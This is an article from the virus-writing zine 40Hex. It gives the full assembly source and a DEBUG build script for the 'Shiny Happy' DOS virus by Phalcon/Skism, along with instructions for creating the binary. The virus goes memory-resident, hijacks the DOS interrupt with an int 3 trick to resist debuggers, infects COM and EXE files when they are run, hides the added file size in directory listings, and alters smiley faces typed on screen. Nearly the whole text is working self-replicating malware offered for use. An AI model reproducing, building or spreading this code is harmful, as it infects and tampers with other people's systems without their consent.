40Hex Issue 10 Volume 3 Number 1                                      File 002

                       The Phalcon/Skism Shiny Happy Virus

       This virus was written jointly by Dark Angel and Hellraiser about six
months ago.  It is a simple semi-stealth virus that doesn't actually replace
interrupt 21h's vector in the interrupt table.  Instead, it finds the DOS
interrupt 21h entry point and encodes an int 3 as the first byte. Consequently,
it is highly debugger-resistant.  It also hides the file size increase, albeit
only in DOS directory listings.  This way, it avoids the CHKDSK cross-linking
errors common to viruses hooking FCB find first/next.  The virus infects upon
file executions.  A debug script follows the source code.  As always, type
"DEBUG < DEBUG.SCR > NUL" to create the virus from the debug script.

       The virus always activates, hooking the keyboard interrupt.  When it
detects a happy face (emoticon), the virus changes it to a frown.  The Shiny
Happy residency test follows:

Run the cursor across the following line:
       :-)     =)      \|-)    ;)      :*)
If any of the faces changed to frowns, then Shiny Happy is loose on your
system.

                                       -)Gheap

-------------------------------------------------------------------------------
; The Shiny Happy Virus
; By Hellraiser and Dark Angel of Phalcon/Skism

       .model  tiny
       .code

id      =       '52'
timeid  =       18h

shiny:
       call    next
next:   pop     bp

       push    ds
       push    es

       xor     di,di
       mov     ds,di
       cmp     word ptr ds:[1*4],offset int1_2 ; installation check
       jz      return

       mov     ax,es
       dec     ax
       sub     word ptr ds:[413h],(endheap-shiny+1023)/1024
       mov     ds,ax
       sub     word ptr ds:[3],((endheap-shiny+1023)/1024)*64
       sub     word ptr ds:[12h],((endheap-shiny+1023)/1024)*64
       mov     es,word ptr ds:[12h]

       push    cs
       pop     ds

       lea     si,[bp+shiny-next]
       mov     cx,(endheap-shiny+1)/2
       rep     movsw

       push    cs
       lea     ax,[bp+return-next]
       push    ax

       push    es
       mov     ax,offset highentry
       push    ax
       retf

return:
       cmp     sp,id-4
       jz      returnEXE
returnCOM:
       pop     es
       pop     ds
       mov     di,100h
       push    di
       lea     si,[bp+offset save3-next]
       movsw
       movsb
       retn

returnEXE:
       pop     es
       pop     ds
       mov     ax,es
       add     ax,10h
       add     word ptr cs:[bp+origCSIP+2-next],ax
       cli
       add     ax,word ptr cs:[bp+origSPSS-next]
       mov     ss,ax
       mov     sp,word ptr cs:[bp+origSPSS+2-next]
       sti
       db      0eah
origCSIP db     ?
save3    db    0cdh,20h,0
origSPSS dd     ?

highentry:
       mov     cs:in21flag,0

       xor     ax,ax
       mov     ds,ax

       les     ax,ds:[9*4]
       mov     word ptr cs:oldint9,ax
       mov     word ptr cs:oldint9+2,es

       mov     ds:[9*4],offset int9
       mov     ds:[9*4+2],cs

       les     ax,ds:[21h*4]
       mov     word ptr cs:oldint21,ax
       mov     word ptr cs:oldint21+2,es

       mov     word ptr ds:[1*4],offset int1
       mov     ds:[1*4+2],cs

       mov     ah, 52h
       int     21h
       mov     ax,es:[bx-2]
       mov     word ptr cs:tunnel21+2, ax
       mov     word ptr cs:dosseg_, es

       pushf
       pop     ax
       or      ah,1
       push    ax
       popf

       mov     ah,0bh
       pushf
       db      09Ah
oldint21 dd     ?

       mov     word ptr ds:[3*4],offset int3
       mov     ds:[3*4+2],cs
       mov     word ptr ds:[1*4],offset int1_2

       les     bx,cs:tunnel21
       mov     al,0CCh
       xchg    al,byte ptr es:[bx]
       mov     byte ptr cs:save1,al
       retf

authors db 'Shiny Happy Virus by Hellraiser and Dark Angel of Phalcon/Skism',0

int1:   push    bp
       mov     bp,sp
       push    ax

       mov     ax, [bp+4]
       cmp     ax,word ptr cs:tunnel21+2
       jb      foundint21
       db      3dh     ; cmp ax, xxxx
dosseg_ dw      ?
       ja      exitint1
foundint21:
       mov     word ptr cs:tunnel21+2,ax
       mov     ax,[bp+2]
       mov     word ptr cs:tunnel21,ax
       and     byte ptr [bp+7], 0FEh
exitint1:
       pop     ax
       pop     bp
       iret

int1_2: push    bp
       mov     bp,sp
       push    ax

       mov     ax, [bp+4]
       cmp     ax,word ptr cs:tunnel21+2
       ja      exitint1_2
       mov     ax, [bp+2]
       cmp     ax,word ptr cs:tunnel21
       jbe     exitint1_2

       push    ds
       push    bx
       lds     bx,cs:tunnel21
       mov     byte ptr ds:[bx],0CCh
       pop     bx
       pop     ds

       and     byte ptr [bp+7],0FEh
exitint1_2:
       pop     ax
       pop     bp
       iret

infect_others:
       mov     ax,4301h
       push    ax
       push    ds
       push    dx
       xor     cx,cx
       call    callint21

       mov     ax,3d02h
       call    callint21
       xchg    ax,bx

       mov     ax,5700h
       call    callint21
       push    cx
       push    dx

       mov     ah,3fh
       mov     cx,1ah
       push    cs
       pop     ds
       push    cs
       pop     es
       mov     dx,offset readbuffer
       call    callint21

       mov     ax,4202h
       xor     cx,cx
       cwd
       int     21h

       mov     si,offset readbuffer
       cmp     word ptr [si],'ZM'
       jnz     checkCOM
checkEXE:
       cmp     word ptr [si+10h],id
       jz      goalreadyinfected

       mov     di, offset OrigCSIP
       mov     si, offset readbuffer+14h
       movsw
       movsw

       sub     si, 18h-0eh
       movsw
       movsw

       push    bx
       mov     bx, word ptr readbuffer + 8
       mov     cl, 4
       shl     bx, cl

       push    dx
       push    ax

       sub     ax, bx
       sbb     dx, 0

       mov     cx, 10h
       div     cx

       mov     word ptr readbuffer+14h, dx
       mov     word ptr readbuffer+16h, ax

       mov     word ptr readbuffer+0Eh, ax
       mov     word ptr readbuffer+10h, id

       pop     ax
       pop     dx
       pop     bx

       add     ax, heap-shiny
       adc     dx, 0

       mov     cl, 9
       push    ax
       shr     ax, cl
       ror     dx, cl
       stc
       adc     dx, ax
       pop     ax
       and     ah, 1

       mov     word ptr readbuffer+4, dx
       mov     word ptr readbuffer+2, ax

       mov     cx,1ah
       jmp     short finishinfection
checkCOM:
       xchg    cx,ax
       sub     cx,heap-shiny+3
       cmp     cx,word ptr [si+1]
goalreadyinfected:
       jz      alreadyinfected
       add     cx,heap-shiny

       push    si
       mov     di,offset save3
       movsw
       movsb
       pop     di
       mov     al,0e9h
       stosb
       mov     ax,3    ; cx holds bytes to write
       xchg    ax,cx
       stosw
finishinfection:
       push    cx

       mov     ah,40h
       mov     cx,heap-shiny
       cwd ; xor dx,dx
       call    callint21

       mov     ax,4200h
       xor     cx,cx
       cwd
       int     21h

       mov     ah,40h
       pop     cx
       mov     dx,offset readbuffer
       call    callint21

       mov     ax,5701h
       pop     dx
       pop     cx
       and     cl,0E0h
       or      cl,timeid
       call    callint21
       jmp     doneinfect

alreadyinfected:
       pop     ax
       pop     ax
doneinfect:
       mov     ah,3eh
       call    callint21

       pop     dx
       pop     ds
       pop     ax
       pop     cx
       call    callint21
exitexecute:
       pop     es
       pop     ds
       pop     di
       pop     si
       pop     dx
       pop     cx
       pop     bx
       pop     ax
       popf

       jmp     exitint21

execute:
       pushf
       push    ax
       push    bx
       push    cx
       push    dx
       push    si
       push    di
       push    ds
       push    es

       cld

       mov     ax,4300h
       call    callint21
       jc      exitexecute
       push    cx

       jmp     infect_others

int3:
       push    bp
       mov     bp,sp

       cmp     cs:in21flag,0
       jnz     leaveint21

       inc     cs:in21flag

       cmp     ah,11h
       jz      findfirstnext
       cmp     ah,12h
       jz      findfirstnext
       cmp     ax,4b00h
       jz      execute

exitint21:
       dec     cs:in21flag
leaveint21:
       or      byte ptr [bp+7],1       ; set trap flag upon return
       dec     word ptr [bp+2]         ; decrement offset
       call    restoreint21
       pop     bp
       iret

callint21:
       pushf
       call    dword ptr cs:tunnel21
       ret

restoreint21:
       push    ds
       push    ax
       push    bx

       lds     bx,cs:tunnel21
       mov     al,byte ptr cs:save1
       mov     ds:[bx],al

       pop     bx
       pop     ax
       pop     ds

       ret

findfirstnext:
       int     21h     ; pre-chain interrupt

; flags   [bp+12]
; segment [bp+10]
; offset  [bp+8]
; flags   [bp+6]
; segment [bp+4]
; offset  [bp+2]
; bp      [bp]
       pushf           ; save results
       pop     [bp+6+6]
       pop     bp

       push    ax
       push    bx
       push    ds
       push    es

       inc     al
       jz      notDOS

       mov     ah,51h          ; Get active PSP
       int     21h
       mov     es,bx
       cmp     bx,es:[16h]     ; DOS calling it?
       jne     notDOS

       mov     ah,2fh  ; DTA -> ES:BX
       int     21h
       push    es
       pop     ds

       cmp     byte ptr [bx],0FFh
       jnz     regularFCB
       add     bx,7
regularFCB:
       cmp     word ptr [bx+9],'OC'
       jz      checkinf
       cmp     word ptr [bx+9],'XE'
       jnz     notDOS
checkinf:
       mov     al,byte ptr [bx+23]
       and     al,1Fh

       cmp     al,timeid
       jnz     notDOS
subtract:
       sub     word ptr [bx+29],heap-shiny
       sbb     word ptr [bx+31],0
notDOS:
       pop     es
       pop     ds
       pop     bx
       pop     ax

       dec     cs:in21flag

       cli
       add     sp,6
       iret

int9:
       pushf                           ; save flags, regs, etc...
       push    ax
       push    bx
       push    cx
       push    dx

       xor     bx,bx
       mov     ah,0fh                  ; get video mode
       int     10h

       mov     ah,03h                  ; get curs pos
       int     10h

       call    getattrib
       cmp     al,')'                  ; happy??
       jne     audi5000                ; no

       mov     cs:eyesflag,0
beforeloveshack:
       call    getattrib               ; see if there is a nose
loveshack:
       cmp     al,':'                  ; shiny???
       je      realeyes

       cmp     al,'='                  ; check for even =)
       je      realeyes

       cmp     al,'|'
       je      realeyes

       cmp     al,';'
       je      realeyes

       cmp     cs:eyesflag,0
       jnz     audi5001
       cmp     al,'('
       jz      audi5001
       inc     cs:eyesflag
       inc     bl
       jmp     short beforeloveshack

realeyes:
       stc
       adc     dl,bl                   ; add extra backspace if so

       mov     ah,02h
       int     10h

       mov     ax,0a28h   ; 0ah, '('   ; write frown
       mov     cx,1
       int     10h

       jmp     audi5000
audi5001:
       stc
       adc     dl,bl
audi5000:
       inc     dl                      ; set curs pos
       mov     ah,02h
       int     10h

       pop     dx                      ; restore all stuff
       pop     cx
       pop     bx
       pop     ax
       popf

       db      0eah
oldint9 dd      ?

; reads the char at the current cursorpos - 1

getattrib:
       dec     dl                      ; set curs pos
       mov     ah,02h
       int     10h

       mov     ah,08h                  ; get char at curs
       int     10h

       ret

heap:
save1    db     ?
tunnel21 dd     ?
in21flag db     ?
eyesflag db     ?
readbuffer db   1ah dup (?)
endheap:
end  shiny
-------------------------------------------------------------------------------
n shiny.com
e 0100  E8 00 00 5D 1E 06 33 FF 8E DF 81 3E 04 00 4D 01
e 0110  74 2D 8C C0 48 83 2E 13 04 01 8E D8 83 2E 03 00
e 0120  40 83 2E 12 00 40 8E 06 12 00 0E 1F 8D 76 FD B9
e 0130  DD 01 F3 A5 0E 8D 46 3C 50 06 B8 71 00 50 CB 81
e 0140  FC 2E 35 74 0C 07 1F BF 00 01 57 8D 76 67 A5 A4
e 0150  C3 07 1F 8C C0 05 10 00 2E 01 46 68 FA 2E 03 46
e 0160  6A 8E D0 2E 8B 66 6C FB EA 00 CD 20 00 00 00 00
e 0170  00 2E C6 06 9E 03 00 33 C0 8E D8 C4 06 24 00 2E
e 0180  A3 8A 03 2E 8C 06 8C 03 C7 06 24 00 26 03 8C 0E
e 0190  26 00 C4 06 84 00 2E A3 C5 00 2E 8C 06 C7 00 C7
e 01A0  06 04 00 28 01 8C 0E 06 00 B4 52 CD 21 26 8B 47
e 01B0  FE 2E A3 9C 03 2E 8C 06 37 01 9C 58 80 CC 01 50
e 01C0  9D B4 0B 9C 9A 00 00 00 00 C7 06 0C 00 85 02 8C
e 01D0  0E 0E 00 C7 06 04 00 4D 01 2E C4 1E 9A 03 B0 CC
e 01E0  26 86 07 2E A2 99 03 CB 53 68 69 6E 79 20 48 61
e 01F0  70 70 79 20 56 69 72 75 73 20 62 79 20 48 65 6C
e 0200  6C 72 61 69 73 65 72 20 61 6E 64 20 44 61 72 6B
e 0210  20 41 6E 67 65 6C 20 6F 66 20 50 68 61 6C 63 6F
e 0220  6E 2F 53 6B 69 73 6D 00 55 8B EC 50 8B 46 04 2E
e 0230  3B 06 9C 03 72 05 3D 00 00 77 0F 2E A3 9C 03 8B
e 0240  46 02 2E A3 9A 03 80 66 07 FE 58 5D CF 55 8B EC
e 0250  50 8B 46 04 2E 3B 06 9C 03 77 1A 8B 46 02 2E 3B
e 0260  06 9A 03 76 10 1E 53 2E C5 1E 9A 03 C6 07 CC 5B
e 0270  1F 80 66 07 FE 58 5D CF B8 01 43 50 1E 52 33 C9
e 0280  E8 32 01 B8 02 3D E8 2C 01 93 B8 00 57 E8 25 01
e 0290  51 52 B4 3F B9 1A 00 0E 1F 0E 07 BA A0 03 E8 14
e 02A0  01 B8 02 42 33 C9 99 CD 21 BE A0 03 81 3C 4D 5A
e 02B0  75 5C 81 7C 10 32 35 74 5D BF 69 00 BE B4 03 A5
e 02C0  A5 83 EE 0A A5 A5 53 8B 1E A8 03 B1 04 D3 E3 52
e 02D0  50 2B C3 83 DA 00 B9 10 00 F7 F1 89 16 B4 03 A3
e 02E0  B6 03 A3 AE 03 C7 06 B0 03 32 35 58 5A 5B 05 99
e 02F0  03 83 D2 00 B1 09 50 D3 E8 D3 CA F9 13 D0 58 80
e 0300  E4 01 89 16 A4 03 A3 A2 03 B9 1A 00 EB 1D 91 81
e 0310  E9 9C 03 3B 4C 01 74 3E 81 C1 99 03 56 BF 6A 00
e 0320  A5 A4 5F B0 E9 AA B8 03 00 91 AB 51 B4 40 B9 99
e 0330  03 99 E8 80 00 B8 00 42 33 C9 99 CD 21 B4 40 59
e 0340  BA A0 03 E8 6F 00 B8 01 57 5A 59 80 E1 E0 80 C9
e 0350  18 E8 61 00 EB 02 58 58 B4 3E E8 58 00 5A 1F 58
e 0360  59 E8 51 00 07 1F 5F 5E 5A 59 5B 58 9D EB 35 9C
e 0370  50 53 51 52 56 57 1E 06 FC B8 00 43 E8 36 00 72
e 0380  E3 51 E9 F3 FE 55 8B EC 2E 80 3E 9E 03 00 75 19
e 0390  2E FE 06 9E 03 80 FC 11 74 34 80 FC 12 74 2F 3D
e 03A0  00 4B 74 CB 2E FE 0E 9E 03 80 4E 07 01 FF 4E 02
e 03B0  E8 09 00 5D CF 9C 2E FF 1E 9A 03 C3 1E 50 53 2E
e 03C0  C5 1E 9A 03 2E A0 99 03 88 07 5B 58 1F C3 CD 21
e 03D0  9C 8F 46 0C 5D 50 53 1E 06 FE C0 74 3B B4 51 CD
e 03E0  21 8E C3 26 3B 1E 16 00 75 2E B4 2F CD 21 06 1F
e 03F0  80 3F FF 75 03 83 C3 07 81 7F 09 43 4F 74 07 81
e 0400  7F 09 45 58 75 12 8A 47 17 24 1F 3C 18 75 09 81
e 0410  6F 1D 99 03 83 5F 1F 00 07 1F 5B 58 2E FE 0E 9E
e 0420  03 FA 83 C4 06 CF 9C 50 53 51 52 33 DB B4 0F CD
e 0430  10 B4 03 CD 10 E8 56 00 3C 29 75 42 2E C6 06 9F
e 0440  03 00 E8 49 00 3C 3A 74 21 3C 3D 74 1D 3C 7C 74
e 0450  19 3C 3B 74 15 2E 80 3E 9F 03 00 75 1E 3C 28 74
e 0460  1A 2E FE 06 9F 03 FE C3 EB D8 F9 12 D3 B4 02 CD
e 0470  10 B8 28 0A B9 01 00 CD 10 EB 03 F9 12 D3 FE C2
e 0480  B4 02 CD 10 5A 59 5B 58 9D EA 00 00 00 00 FE CA
e 0490  B4 02 CD 10 B4 08 CD 10 C3
rcx
0399
w
q
-------------------------------------------------------------------------------